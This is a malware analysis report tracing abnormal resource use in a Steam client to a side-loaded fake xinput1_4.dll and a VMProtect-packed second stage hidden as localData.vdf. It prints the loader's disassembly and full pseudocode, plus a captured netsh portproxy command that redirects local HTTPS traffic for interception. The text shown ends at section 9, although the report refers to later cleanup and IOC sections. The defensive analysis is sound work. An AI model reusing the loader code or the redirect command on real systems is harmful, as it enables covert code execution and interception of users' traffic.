A Complete Tracing and Reverse Analysis Report of an Abnormal High Resource Usage Incident in Steam
Scope: This report is based on forensic analysis and reverse engineering of a real victim sample, strictly for security research and defense purposes. All Indicators of Compromise (IOCs) are listed at the end and can be used for rule writing and enterprise asset inventory; the cleanup script is provided in Section 17 and can be run independently.
Sample Source: Actual installation path of the victim host (see Section 6 for details). SHA256 hashes of the original sample and the unpacked image are listed in Section 18 IOC. All dynamic behavior was reproduced in an isolated virtual machine environment; no sample binaries have been released outside this report.
1. Observation of Phenomena
The incident was triggered by persistent anomalies in the Steam client on a Windows 10 host. Observable phenomena on the affected host are summarized as follows:
- Process Resource Usage: CPU usage of the
Steam.exemain process remained stable between 30% and 50%, and the Working Set could increase to several GB within 30 minutes; - Process Identity: The high-usage process was the
Steam.exemain process itself, neitherSteam Client WebHelpernor the game processPartyAnimals.exe; - State Residual: After the game exited, the Steam client UI still displayed "Game Running," and resource usage was not released; the Steam main process had to be terminated to recover;
- Environment Correlation: The same account and the same game ran normally on another control machine, initially ruling out Steam account and game defects;
- Stable Trigger Conditions: The anomaly only stably reproduced after launching "Party Animals," so the initial hypothesis leaned toward subsystem defects in the Steam client such as recording/Overlay/Shader pre-cache/Input/Controller/Beta channel.

Steam client status during anomaly
Shutting down the above-mentioned Steam subsystems one by one, reinstalling the game, starting Steam offline, and clearing the config and userdata directories did not resolve the issue. Suspicious signals gradually converged during the investigation:
- Even in Steam offline mode, resource usage increased after launching the game → the anomaly did not originate from external network request blocking;
- The thread count of the
Steam.exemain process increased monotonically over time (measured sequence: 207 → 219 → 235 → 247) → the anomaly manifested as thread-level leakage, not a single-thread infinite loop; - Steam client logs occasionally showed
Failed to load Steam Service (GLE 126), butSteamService.exe /repairoperations would hang, andSteamServicewas not on the anomaly process chain; subsequent analysis proved it unrelated to the root cause.
At this point, conventional fault paths of the Steam client could be largely ruled out, directing the analysis toward a deeper hypothesis: the injection of unofficial code into the process.
2. Process Memory Forensics: First Location of Anomalous Code Sections and Socket Storm
Two process memory dumps were collected as baselines for subsequent analysis; the first was taken during game runtime, and the second after game exit:
| File | Thread Count | PRIVATE_EXEC Threads | Private Executable Memory |
|---|---|---|---|
steam.dmp | 128 | 82 | ~586 MB |
steamtc.dmp | 265 | 224 | ~1368 MB |
To avoid heavy reliance on WinDbg/cdb, a minimal minidump parsing script was written to scan module tables, thread entries, stack return addresses, and memory region attributes item by item, yielding three mutually confirming facts:
- The Steam process contained a large amount of
MEM_PRIVATE+PAGE_EXECUTE_READWRITEprivate memory (1.3 GB after game exit), allocated in regular groups of about 4–8 MB each; - The tops of many thread stacks were at
mswsock!WSPAccept → ws2_32!accept → anonymous addresses; - The anonymous addresses did not belong to any normal module:
steam.exe / steamui.dll / steamclient64.dll / tier0_s64.dll / gameoverlayrenderer64.dll.
Subsequently, WinDbg Preview was used to verify the above conclusions:
.symfix C:\Symbols
.reload /f
!runaway 7
!address -summary
!address -f:PAGE_EXECUTE_READWRITE
~* kpn 30
The !address command further confirmed that the current PC (e.g., 00000249bc3a4ead) of high-CPU threads fell within an approximately 4 MB MEM_PRIVATE / PAGE_EXECUTE_READWRITE region.
At this point, the analysis direction shifted from "Steam client performance defect" to a more precise hypothesis: there is a code section in the Steam main process that does not belong to any loaded module, and this code section continuously accepts a large number of connections on a local port.
3. Preliminary Disassembly of the Anomalous Code Section: Initial Outline of a Local Pseudo-Steamworks Service
Disassembly and string scanning were performed on the anonymous 4 MB region in the dump. The extracted content was not a general script runtime but a collection of strings highly homologous to Steamworks server-side code:
\Steam\protobuf-main\src\google\protobuf\...
steam_api.proto / steam_cloud.proto / steam_server.proto
steam_id_lobby / steam_id_owner / client_supplied_steam_id
primary_steam_controller_serial / total_steam_controller_count
http_host / http_status_code / use_https / not a socket
This code section references kernel32 functions through indirect calls, but it itself does not belong to the export table of any loaded module. Combined with concurrent phenomena such as "4–8 MB groups of regular allocations" and "socket accept storm," it can be preliminarily concluded that a locally implemented service is resident in the Steam process, repeatedly created but not properly cleaned up.
4. Locating Port and Traffic Entry: 0.0.0.0:8443 and 127.0.0.1:443 → 127.0.0.1:8443
Query the TCP port usage of the Steam process:
$p = (Get-Process steam | Sort-Object CPU -Descending | Select-Object -First 1).Id
Get-NetTCPConnection -OwningProcess $p |
Group-Object State,LocalAddress,LocalPort |
Sort-Object Count -Descending |
Select-Object Count,Name -First 30
The results showed an obvious anomaly: Listen 0.0.0.0:8443, with multiple listening sockets belonging to steam.exe. Further inspection of Windows portproxy rules:
netsh interface portproxy show all
Listen on IPv4 Connect to IPv4
127.0.0.1 443 127.0.0.1 8443
That is, connections sent to 127.0.0.1:443 on the local machine are redirected by the Windows system to port 8443, which is listened to by the Steam process. This structure is exactly the inbound path of a "local transparent HTTPS man-in-the-middle."
Attempt to clear this rule to observe its persistence mechanism:
Remove-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp' -Name '127.0.0.1/443'
net stop iphlpsvc; net start iphlpsvc
The rule would disappear temporarily, but as soon as the old Steam was restarted, the rule was rebuilt. This observation rules out the possibility of "historical system configuration residue" and indicates that there is code in the Steam startup chain that actively rebuilds this rule. sc.exe config "Steam Client Service" start= disabled also failed to prevent the rebuild, indicating that the executing subject is not the Steam Client Service either.
5. Process Monitor Process Chain Tracing: Steam Process Actively Spawns netsh
Using Procmon to capture Process Create events during Steam startup, aligning the time window to within 5 seconds after Steam startup, the decisive process chain event was captured:
Steam.exe (39372) Parent → Child
└─ cmd.exe (39340)
Command line: cmd.exe /c netsh interface portproxy add v4tov4
listenport=443 listenaddress=127.0.0.1
connectport=8443 connectaddress=127.0.0.1
Timestamp: 2026-05-22 02:52:08
Parent: Steam.exe (started at 02:52:05)


The Steam main process, about 3 seconds after startup, spawned cmd.exe, which called netsh to add the portproxy rule. This behavior does not exist in any known execution path of the official Valve client—it can be considered direct behavioral evidence of injection into the Steam main process.
6. Clean Control Experiment: Locating the Scope of Contamination to the Steam Installation Root Directory
Deploy an official Steam client to F:\teststeam in a clean environment and conduct two sets of control experiments:
- Idle at login screen: The new Steam did not create portproxy rules, and the port list remained clean;
- Launch "Party Animals" through the new Steam: Process resource usage was normal, with no high CPU/memory or thread count leakage.
Further conduct cross-migration to narrow down the contamination source—copy each subdirectory of the old F:\steam one by one into the new Steam directory and start testing:
- Copying any of
steamapps,config,userdata,package,clientui,bin,public,resource,appcachedid not trigger portproxy creation.
From this, it can be determined that the contamination source is not in user data/cache subdirectories but rather in additional files in the root directory of Steam.
7. Compare-Object Difference Locates xinput1_4.dll
Compare-Object `
(Get-ChildItem F:\steam -File | Select-Object -ExpandProperty Name) `
(Get-ChildItem F:\teststeam -File | Select-Object -ExpandProperty Name)
libx264-142.dll <=
logs.zip <=
simulator.dll <=
xinput1_4.dll <=
The difference set contained 4 files unique to the old Steam. A binary split retest was performed on these 4 files: "rename to *.bak → clear portproxy → restart Steam." The chain stably converged to a single file:
F:\steam\xinput1_4.dll
When this file existed, Steam would rebuild the 443→8443 portproxy rule upon startup, and "Party Animals" would trigger high resource usage; after renaming this file, the port rule was no longer created, and the game ran normally. Root cause file locked down.
8. Complete Reverse Engineering of xinput1_4.dll: Stage-1 DLL Side-Loading Loader
Basic sample information:
SHA256: 631C8757165C9BACE8D6CFE019425ED5AC97319CF2D8FD2B07A8E32025711FB4
Size: 30,648 bytes
Architecture: x64
PE Timestamp: 2025-12-20 12:42:55 UTC
ImageBase: 0x180000000
Entry RVA: 0x3190
Exports: None
Signature: Valid
Signer: Shanxi Rongshengyuan Technology Trade Co., Ltd.
Issuer: Verokey High Assurance Secure Code EV
Thumbprint: 428FEE9B772BD7E56987E864AD8C83B5721E717F
PDB: C:\Users\Administrator\Desktop\xinput1_4\x64\Release\xinput1_4.pdb
This DLL has a valid signature, but a valid signature only means the code signing certificate was issued by a CA, not that the code is benign; EV code signing certificates are also common in gray-market/malware distribution chains. The PDB path also reveals the author's machine username as Administrator, the project located in the Desktop directory, built with the standard MSVC x64\Release template.
8.1 Naming Anomaly: XInput DLL with Empty Export Table
A normal xinput1_4.dll must export:
XInputGetState / XInputSetState
XInputGetCapabilities
XInputGetBatteryInformation
...
This DLL does not export any XInput interface functions. Its sole purpose is to exploit the Windows DLL search order via its filename, being loaded by the Steam main process during startup (DLL hijacking / DLL side-loading). When Windows loads an EXE, it searches for dependent DLLs in a fixed order; the EXE's own directory has higher priority than System32, so a fake xinput1_4.dll placed in F:\steam\ will be loaded before the genuine DLL in the system directory.
8.2 DllMain: Conditional Activation Based on Host Environment
Entry 0x3190 is the MSVC _DllMainCRTStartup trampoline, ultimately jumping to 0x180001550, the actual DllMain function:
0x180001550: push rbx
0x180001552: sub rsp, 0x20
0x180001556: mov rbx, rcx ; save hinstDLL
0x180001559: lea rcx, [rip + 0x2c80] ; "SteamUI.dll"
0x180001560: call qword ptr [rip + 0x2ab2] ; KERNEL32!GetModuleHandleA
0x180001566: test rax, rax
0x180001569: je 0x180001579 ; return directly if host is not Steam
0x18000156b: mov rcx, rbx
0x18000156e: call qword ptr [rip + 0x2a9c] ; KERNEL32!DisableThreadLibraryCalls
0x180001574: call 0x180001170 ; worker function
0x180001579: mov eax, 1 ; always return TRUE
0x18000157e: add rsp, 0x20
0x180001582: pop rbx
0x180001583: ret
The entry logic implements clear host environment detection: GetModuleHandleA("SteamUI.dll") checks whether SteamUI is loaded—only when this module is present (i.e., the host is the Steam main process; other processes typically do not load SteamUI.dll) does it proceed to the workflow. Under other host processes, it simply returns TRUE silently, avoiding exposure outside the Steam environment.
8.3 Worker Function sub_1170: Second-Level API Resolution
0x180001187: lea rcx, [rip + 0x2f92] ; "kernel32.dll"
0x18000118e: call GetModuleHandleA ; rdi = HMODULE kernel32
0x180001194: lea rcx, [rip + 0x2f95] ; "user32.dll"
0x18000119e: call GetModuleHandleA ; rbx = HMODULE user32
0x1800011a4: lea rdx, "GetProcAddress"
0x1800011b1: call GetProcAddress
0x1800011b7: lea rdx, "VirtualAlloc" ; -> r13
0x1800011c7: lea rdx, "VirtualFree" ; -> r15
0x1800011da: lea rdx, "MessageBoxA" ; (resolved but not used)
0x1800011ed: lea rdx, "CreateFileA" ; -> rsi
0x1800011fd: lea rdx, "ReadFile" ; -> r12
0x180001210: lea rdx, "CloseHandle" ; -> r14
0x180001223: lea rdx, "GetFileSize" ; -> rdi
Notably, these APIs already exist in the static IAT; the author still performs runtime second-level resolution using GetModuleHandleA + GetProcAddress. This technique is typical anti-static-analysis / anti-IAT-hooking—avoiding core APIs through the static IAT, bypassing hooks pre-set by some EDR/AV on IAT slots.
8.4 Three-Level Fallback for %LOCALAPPDATA%
1. GetEnvironmentVariableA("LOCALAPPDATA", buf, MAX_PATH)
If successful, use directly.
2. If fails:
GetUserNameA(&user, &size)
wsprintfA(&buf, "C:\\Users\\%s\\AppData\\Local", user)
GetFileAttributesA(&buf) // verify path exists
If successful, use.
3. If still fails: SHGetKnownFolderPath:
GUID = {F1B32785-6FBA-4FCF-9D55-7B8E7F157091} ← FOLDERID_LocalAppData
flags = 0x8000 ← KF_FLAG_DEFAULT_PATH
Returns wide char → WideCharToMultiByte to ANSI → CoTaskMemFree
4. Final fallback: SHGetSpecialFolderPathA(NULL, &buf, 0x1C, FALSE)
where 0x1C = CSIDL_LOCAL_APPDATA
The 16-byte constant at RVA 0x4200 was reverse-calculated to be the GUID of FOLDERID_LocalAppData (little-endian: 8527b3f1ba6fcf4f9d557b8e7f157091).
Then wsprintfA(&fullpath, "%s\Steam\localData.vdf", local_appdata) assembles the final target path.
8.5 File Reading and Byte-by-Byte Bitwise NOT Decoding
CreateFileA(path, GENERIC_READ=0x80000000, FILE_SHARE_READ=1, NULL,
OPEN_EXISTING=3, FILE_ATTRIBUTE_NORMAL=0x80, NULL)
GetFileSize(h, NULL) → size
VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT=0x3000, PAGE_READWRITE=4)
ReadFile(h, buf, size, &actual, NULL)
CloseHandle(h)
Followed by the SSE inversion decoding loop:
0x180001433: movdqa xmm2, xmmword ptr [rip+0x2db5] ; load constant
0x180001460: movdqu xmm0, [rax-0x20]
0x18000146d: andnps xmm0, xmm2 ; xmm0 = (~xmm0) & xmm2
0x180001470: movdqu [rax-0x60], xmm0
... 4-way unrolled, 64 bytes per iteration ...
0x180001460-0x180001497: movdqu/andnps/movdqu × 4 groups
... scalar tail for remaining bytes ...
0x1800014e0: not byte ptr [rcx]
0x1800014e2: lea rcx, [rcx+1]
0x1800014e6: sub r8, 1
0x1800014ea: jne 0x1800014e0
The 16-byte xmm2 constant at RVA 0x41f0 was verified by dumping as ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff—all 0xFF.
The x86 SSE instruction andnps a, b performs a = (NOT a) AND b. When b = 0xFFFF...FF (all ones), the result is a = NOT a. Combined with the explicit not byte ptr [rcx] in the scalar tail loop, the semantics of the entire decoding transformation are clearly identified at the instruction level as byte-by-byte bitwise NOT, equivalent to performing XOR 0xFF on each byte.
8.6 Manual PE Mapping: Direct Reuse of the MemoryModule Library
0x1800014ec: mov rdx, rdi ; size
0x1800014ef: mov rcx, rsi ; decoded buffer
0x1800014f2: call 0x180001590 ; sub_1590 = MemoryLoadLibraryEx
0x1800014f7: test rax, rax
0x1800014fa: je 0x180001512 ; failure -> ret
0x1800014fc: lea rdx, "loadLib"
0x180001503: mov rcx, rax ; mapped module handle
0x180001506: call 0x180001b20 ; sub_1b20 = MemoryGetProcAddress
0x18000150b: test rax, rax
0x18000150e: je 0x180001512
0x180001510: call rax ; ← stage-2!loadLib()
sub_1590 is a thin wrapper that pushes 5 internal function pointers onto the stack and then calls the actual mapper 0x180001e5e0. These 5 callbacks correspond exactly to the 5 customizable functions in the MemoryModule library (by Joachim Bauch) for MemoryLoadLibraryEx: MemoryLoadLibrary / MemoryGetProcAddress / MemoryFreeLibrary / MemoryAlloc / MemoryFree.
sub_1b20 is the standard implementation of MemoryGetProcAddress:
rax = MODULE.headers (offset +0)
r15 = MODULE.codeBase (offset +8)
Read [headers + 0x88, 0x8C] ; OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
Read [export_dir + 0x14, 0x18, 0x10] ; NumberOfFunctions / NumberOfNames / Base
First call HeapAlloc to allocate a name table cache, stored at [MODULE + 0x50] ; MEMORYMODULE.nameExportsTable
The first field of MemoryModule's MEMORYMODULE structure is PIMAGE_NT_HEADERS headers, the second is unsigned char *codeBase, and after a few fields comes LPVOID *nameExportsTable—exactly corresponding to offsets +0, +8, and +0x50 (after x64 alignment). This sample did not modify the structure offsets, directly using the original layout of MemoryModule.
Before call rax, no assignment to rcx/rdx/r8/r9 is made; according to the Windows x64 ABI, it can be determined that stage-2's loadLib is a parameterless function.
8.7 Silent Handling of Failure Paths
Throughout the worker function, there is no actual call to MessageBoxA (although this API was resolved in the second-level resolution step of §8.3; it is speculated to be a remnant of a debugging message box from early development, not used in the release version). All failure branches perform CloseHandle + VirtualFree(buf, 0, MEM_RELEASE) + ret 0. That is, failure at any stage is not reported externally, and the host process observes no observable signal.
8.8 Complete Pseudocode of stage-1
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (GetModuleHandleA("SteamUI.dll") == NULL)
return TRUE; // Host is not Steam, silently exit
DisableThreadLibraryCalls(hinstDLL);
do_work();
return TRUE;
}
static void do_work(void) {
HMODULE k32 = GetModuleHandleA("kernel32.dll");
HMODULE u32 = GetModuleHandleA("user32.dll");
// Second-level resolution of critical APIs, bypassing IAT hooks
pVirtualAlloc = GetProcAddress(k32, "VirtualAlloc");
pVirtualFree = GetProcAddress(k32, "VirtualFree");
pCreateFileA = GetProcAddress(k32, "CreateFileA");
pReadFile = GetProcAddress(k32, "ReadFile");
pCloseHandle = GetProcAddress(k32, "CloseHandle");
pGetFileSize = GetProcAddress(k32, "GetFileSize");
char local_appdata[MAX_PATH] = {0};
// Three-level fallback to resolve %LOCALAPPDATA%
if (!GetEnvironmentVariableA("LOCALAPPDATA", local_appdata, MAX_PATH)) {
char user[256]; DWORD usz = sizeof(user);
if (GetUserNameA(user, &usz)) {
char buf[MAX_PATH];
wsprintfA(buf, "C:\\Users\\%s\\AppData\\Local", user);
if (GetFileAttributesA(buf) != INVALID_FILE_ATTRIBUTES) {
lstrcpynA(local_appdata, buf, MAX_PATH);
goto have_path;
}
}
PWSTR wpath = NULL;
if (SUCCEEDED(SHGetKnownFolderPath(&FOLDERID_LocalAppData,
KF_FLAG_DEFAULT_PATH, NULL, &wpath))) {
WideCharToMultiByte(CP_ACP, 0, wpath, -1, local_appdata, MAX_PATH, 0, 0);
CoTaskMemFree(wpath);
} else {
SHGetSpecialFolderPathA(NULL, local_appdata, CSIDL_LOCAL_APPDATA, FALSE);
}
}
have_path:;
char fullpath[MAX_PATH];
wsprintfA(fullpath, "%s\\Steam\\localData.vdf", local_appdata);
HANDLE h = CreateFileA(fullpath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (h == INVALID_HANDLE_VALUE) return;
DWORD size = GetFileSize(h, NULL);
BYTE *buf = VirtualAlloc(NULL, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
DWORD read = 0;
ReadFile(h, buf, size, &read, NULL);
CloseHandle(h);
if (read != size) { VirtualFree(buf, 0, MEM_RELEASE); return; }
// Byte-by-byte NOT (XOR 0xFF)
for (DWORD i = 0; i < size; ++i) buf[i] = ~buf[i];
// MemoryModule style manual mapping, call loadLib
HMEMORYMODULE mod = MemoryLoadLibrary(buf, size);
if (!mod) return;
FARPROC loadLib = MemoryGetProcAddress(mod, "loadLib");
if (loadLib) ((void(*)(void))loadLib)();
}
xinput1_4.dll only serves as the first-stage loader; its actual payload is located at %LOCALAPPDATA%\Steam\localData.vdf. The next section focuses on static analysis of this stage-2 image.
9. Static Analysis of stage-2: PE Image Disguised as VDF
9.1 Decoding the PE
Recover localData.vdf from the victim host:
Path: C:\Users\Administrator\AppData\Local\Steam\localData.vdf
Size: 2,900,480 bytes (2.9 MB)
SHA256: 81F04831573AB983E7F4D7A64B375D0C66C6C282FFEFA00EA105F433CC8AC6A8
mtime: 2026-01-01 16:50:04
First few bytes:
B2 A5 6F FF FC FF FF FF FB FF FF FF 00 00 FF FF ...
This byte sequence does not match the VDF text format. Note that B2 ^ FF = 4D, A5 ^ FF = 5A, corresponding to the ASCII characters MZ. After applying NOT/XOR 0xFF to the entire file:
4D 5A 90 00 03 00 00 00 ... ← Standard MZ DOS header
Decoded SHA256: D9ADF672F5A4405B0C113C9EEC653653FB0D8152875FCEB85BA30D2350F79C85
Architecture: x64
PE Timestamp: 2025-12-25 13:11:40 UTC
ImageBase: 0x180000000
SizeOfImage: 0x82A000 (approx 8.5 MB, ~5.6 MB larger than disk file)
Entry RVA: 0x5667F0
Signature: NotSigned
Export table contains only one function:
Exported DLL Name: hid.dll
Exported Function: loadLib (RVA 0x2CB80)
PDB Path: F:\入库内核\Steam\x64\Release\hid.pdb ← ★ Author's own naming "入库内核"
stage-1 looks up the exported name loadLib via MemoryGetProcAddress, and stage-2 exports only loadLib—the two files share the same author namespace, forming a two-stage load chain. The term "入库内核" in the PDB path directly reveals the business identity of the project: combined with the entry domain cdk.steam.icu and the CMsgCdkActiveResponse protocol field in §12.11, it can be determined that this tool is the runtime kernel component of the gray-market business chain for "purchasing Steam CDK activation codes → tool to activate games into the Steam library."
9.2 Section Table Characteristics: 7 out of 11 Sections Have raw_size = 0
Section vaddr vsize raw_off rsize
.text 0x00001000 0x00326872 0x00000000 0x00000000 ← raw=0 (virtual section)
.rdata 0x00328000 0x0009b8f0 0x00000000 0x00000000 ← raw=0
.data 0x003c4000 0x00026fd0 0x00000000 0x00000000 ← raw=0
.pdata 0x003eb000 0x000218dc 0x00000000 0x00000000 ← raw=0
.fptable 0x0040d000 0x00000200 0x00000000 0x00000000 ← raw=0 ★
.text 0x0040e000 0x00141fd0 0x00000000 0x00000000 ← raw=0 (second .text)
.data 0x00550000 0x0001273f 0x00000000 0x00000000 ← raw=0
.text 0x00563000 0x002c30b0 0x00000400 0x002c3200 ← contains actual data, third .text
.data 0x00827000 0x00000610 0x002c3600 0x00000800
.reloc 0x00828000 0x00000080 0x002c3e00 0x00000200
.rsrc 0x00829000 0x000000f8 0x002c4000 0x00000200
This section layout is typical of VMProtect 3.x:
- Three
.textsections: the first two have raw=0 (virtual sections, filled back by the unpacker at runtime), the third contains 2.9 MB of actual data; .fptableis a characteristic section of VMProtect (function pointer table);- Entry point
0x5667f0falls into the third.textsection, with about 4000 bytes of unpacking/virtual machine dispatch code for bootstrap; SizeOfImage0x82A000 is ~5.6 MB larger than the disk file, which exactly equals the sum of all raw=0 sections—standard VMProtect implementation: original sections are stripped from disk and restored by the unpacker at runtime.
The low-entropy bootstrap region (rva 0x563000–0x56f000) also contains VMProtect characteristic fingerprints:
.rdata$voltmd ← VMProtect SDK specific metadata section
.fptable
The coexistence of .rdata$voltmd and .fptable serves as a strong characteristic fingerprint of the VMProtect SDK. The same location also contains the complete .CRT$XCA..XCZ / .CRT$XIA..XIZ / .CRT$XLA..XLZ MSVC chain—the original compiler is MSVC, and the C++ runtime is fully present.
9.3 Minimal IAT: Only 11 Imports
Complete import table:
KERNEL32.dll: LoadLibraryExW
USER32.dll: GetForegroundWindow
ADVAPI32.dll: CryptAcquireContextA
SHELL32.dll: SHGetKnownFolderPath
ole32.dll: CoTaskMemFree
bcrypt.dll: BCryptGenRandom
WINHTTP.dll: WinHttpSendRequest
WS2_32.dll: ord #3 ← bind(); ordinal import is a common VMProtect IAT obfuscation technique
CRYPT32.dll: CertSetCertificateContextProperty
DNSAPI.dll: DnsQuery_W
dbghelp.dll: SymFromAddr
Each import module declares only 1 API; the rest are resolved at runtime via LoadLibraryExW + GetProcAddress. Based on these 11 declarations, the runtime behavior facets of stage-2 can be inferred:
| Imported API | Inferred Purpose |
|---|---|
LoadLibraryExW | Bootstrap to load other modules (WinHttp/Crypt32/Cert/Reg/…) |
WinHttpSendRequest | HTTPS outbound to C2 / activation server |
DnsQuery_W | Active DNS query (bypass local resolution before modifying hosts) |
WS2_32 #3 (bind) | Listen on local port (i.e., 0.0.0.0:8443) |
BCryptGenRandom | Cryptographically secure random numbers (TLS, keys, nonce) |
CryptAcquireContextA | Legacy CryptoAPI entry |
CertSetCertificateContextProperty | Write certificate properties (bind private key, set friendly name, etc.), consistent with installing root CA "DCS Root CA G2" |
SHGetKnownFolderPath | Get system directories (user config, hosts, root certificate store, etc.) |
GetForegroundWindow | Foreground window detection (anti-sandbox / anti-debugging / activation flow trigger) |
SymFromAddr (dbghelp) | Runtime function symbol lookup—input address, return symbol name |
CoTaskMemFree | Free wide strings returned by SHGetKnownFolderPath |
CertSetCertificateContextProperty alone is sufficient to confirm the certificate installation path—this API is used to set CERT_KEY_PROV_INFO_PROP_ID (bind private key) or CERT_FRIENDLY_NAME_PROP_ID (set friendly name), and is a required call for installing a system root certificate. Combined with the DCS Root CA G2 string observed in the memory dump and the root certificate fingerprint ultimately placed in the registry, the certificate side of the local HTTPS MITM chain is closed.
The presence of SymFromAddr is particularly noteworthy: this API accepts any runtime address and returns the corresponding symbol name. After stage-2 is loaded into the Steam process, it can use SymFromAddr together with Steam official PDB files to perform "symbol-based" hook installation—without hardcoding any specific offsets for a particular Steam client version. This is the fundamental mechanism that allows the sample to work stably across multiple Steam client versions.
9.4 Static Visible Strings Only 3
Throughout the static file of stage-2, only the following strings are visible:
.data +0x1a8: loadLib
.data +0x1b8: hid.dll
utf-16: kernel32.dll
Behavioral strings like netsh interface portproxy ..., hosts, DCS Root CA G2, CMsgGatewayHookRequest, GetDepotKey, force_proxy etc. do not exist in the disk file—they are all decoded at runtime by the unpacker/VM. This phenomenon explains why the forensic steps in §2–§6 had to rely on the steam.dmp memory dump to observe evidence: static string scanning alone cannot capture any specific behavior of stage-2.
9.5 IAT as Bait: On-Disk Code Makes Zero References to 11 IAT Slots
Scanned the 2.9 MB on-disk .text section for all four x64 reference methods, counting references to the 11 IAT slots (rva 0x8275b0–0x827600):
Absolute 8-byte VA pointer → any IAT slot: 0 hits
ff 15 ?? ?? ?? ?? (call [rip+disp]): 0 hits
ff 25 ?? ?? ?? ?? (jmp [rip+disp]): 0 hits
48 8b ?5 ?? ?? ?? ?? (mov rXX, [rip+disp]) 0 hits
4c 8b ?5 ?? ?? ?? ?? (mov r8-r15, ...) 0 hits
All 0 hits. Special encodings that deviate from mainstream reference methods cannot be entirely ruled out, but all paths recognizable by conventional disassembly tools do not reference these 11 IAT slots. The Windows loader will still fix them up to real API addresses according to PE specifications, but the instruction stream on disk does not use these addresses.
This phenomenon is a standard disguise technique of VMProtect: real import calls are all migrated to the VM/encrypted area, while the outer IAT is retained only as bait for AV static scanning. These 11 APIs are essentially just "declared imports" configured during VMProtect SDK packaging, serving as starting points for the packer's bootstrap code (e.g., LoadLibraryExW for loading other modules at runtime); the dozens to hundreds of APIs that truly constitute the business logic (CreateProcessA, RegSetValueExW, CertAddCertificateContextToStore, send, recv, etc.) are resolved by stage-2 itself at runtime inside TLS callbacks.
9.6 .reloc Only 24 Entries: Almost Completely Position-Independent
A typical ~8 MB ImageBase PE usually contains thousands of reloc entries. stage-2 has only 24:
Block 1: 0x564000 range, 6 entries → 6 qword pointers at 0x564250-0x564278
Block 2: 0x568000 range, 2 entries → 0x568d88, 0x568d90
Block 3: 0x56b000 range, 4 entries → 0x56b890-0x56b8a8 (TLS directory 4 pointers)
Block 4: 0x7f3000 range, 6 entries → 0x7f3c18-0x7f3ce0 (load_config table)
Block 5: 0x827000 range, 6 entries → 0x827000+ (data section static pointers)
After resolving block 1:
rva 0x564250 → abs 0x18080b3c0 (rva 0x80b3c0) ★ encrypted code area
rva 0x564258 → abs 0x18080b3c0 (rva 0x80b3c0) ★ encrypted code area (duplicate)
rva 0x564260 → abs 0x18080c0d0 (rva 0x80c0d0)
rva 0x564268 → abs 0x180805848 (rva 0x805848)
rva 0x564270 → abs 0x180805420 (rva 0x805420)
rva 0x564278 → abs 0x180804ee0 (rva 0x804ee0)
All 6 target RVAs (0x804ee0, 0x805420, 0x805848, 0x80b3c0×2, 0x80c0d0) fall entirely within the main encrypted area (rva 0x56f000–0x7cf000). This structure is VMProtect's 6-slot handler dispatch table—a pointer table to encrypted handler entries.
Block 3 points to the 4 pointers of the TLS directory; block 4 points to the SEH/CFG fields of the Load Config table. The 24 reloc entries overall indicate that stage-2 is designed as a position-independent image, with only the packer's minimal critical scaffold needing fixup.
9.7 Main Encrypted Area: No Standard Decompression Algorithm Hits
Attempted the following decompression algorithms on file offset 0xc000–0x26c000 (about 2.4 MB, entropy 7.9–7.99):
| Algorithm | Result |
|---|---|
| zlib (78 01/78 9c/78 da) header scan | 0 hits |
| raw deflate (various starting points) | 0 hits |
| Python lzma auto-detect | 0 hits |
| lzma raw (FILTER_LZMA1, dict 16MB) | 0 hits |
Windows RtlDecompressBuffer LZNT1 | 0 hits |
Windows RtlDecompressBuffer XPRESS | 0 hits |
Single-byte XOR (0x01-0xff) + find MZ/common plaintext | 0 hits |
| 6 types of API name hash (DJB2 / DJB2lower / DJB2upper / CRC32 / FNV-1a / ROR13_add) × 100+ candidate APIs (covering WinHttp / Schannel / BCrypt / Crypt32 / Cert / Reg / Shell / Process / File / Socket / Steam) | 0 hits |
Strings visible in the memory dump such as MZ\x90\x00, netsh, hosts, DCS Root, codefusion, antitamper, CMsgGatewayHook, GetDepotKey, 127.0.0.1 etc. are not visible in the disk image.
The encryption layer is proprietary to VMProtect: it uses a per-handler key schedule with a mutation engine, encrypting different handlers with different keys and embedding the keys within the encrypted code itself (self-decrypting structure). This encryption layer cannot be batch-decrypted without the runtime context.
9.8 Tail ~350 KB Low-Entropy Code Area: VMProtect Dispatcher, Not User Code
The single-value entropy of 7.93 for the .text section of stage-2 is only an average—after recalculating with 8KB window and 4KB step, it exhibits a three-part entropy structure:
| rva range | Entropy | Nature |
|---|---|---|
| 0x563000-0x56f000 | 3.77-6.74 | bootstrap + various tables (reloc / debug / PDB / CRT section name table) |
| 0x56f000-0x7cf000 | 7.50-7.99 | ★Main encrypted area★ ~2.4 MB |
| 0x7cf000-0x826200 | 4.92-6.65 | Tail low-entropy code area ~350 KB |
The low-entropy tail (~350 KB) is not encrypted and can be directly disassembled. 29 complete MSVC function prologues can be identified (55 53 56 57 41 54 41 55 41 56 41 57 48—push rbp/rbx/rsi/rdi/r12-r15 + sub rsp). Sample function:
========== Function @ rva 0x7f3fab ==========
push rbp ... push r15
lea rbp, [rax - 0x1b18] ; custom frame: using rax as context base
mov eax, 0x1bd8
call 0x1808251d8 ; _chkstk (stack probe)
sub rsp, rax
mov r15, qword ptr [rbp + 0x1b58]
xor r12d, r12d
mov ebx, dword ptr [rbp + 0x1b48]
mov r14, qword ptr [rbp + 0x1b40]
lea eax, [r15 + 0x20000]
bsr edi, eax ; bit scan reverse
... many r8/r9 context operations ...
call 0x180815b78
call 0x180825a78
The frame setup form lea rbp, [rax - 0x1b18]—using the passed rax as a context base and accessing fields with a large frame offset—is typical of VMProtect VM dispatcher / scratch context handler, not user business code. Another function at rva 0x7f696f is a strcmp/memcmp-style loop, more closely resembling compiler-generated runtime helpers.
Conclusion: This ~350 KB code area consists of VMProtect VM dispatcher, handler scheduling code, and MSVC C/C++ runtime helpers. User business code is not located in this area—the actual loadLib function body (rva 0x2cb80, within the stripped .text) and the anti-tamper hooks are all located in the encrypted area rva 0x56f000–0x7cf000.
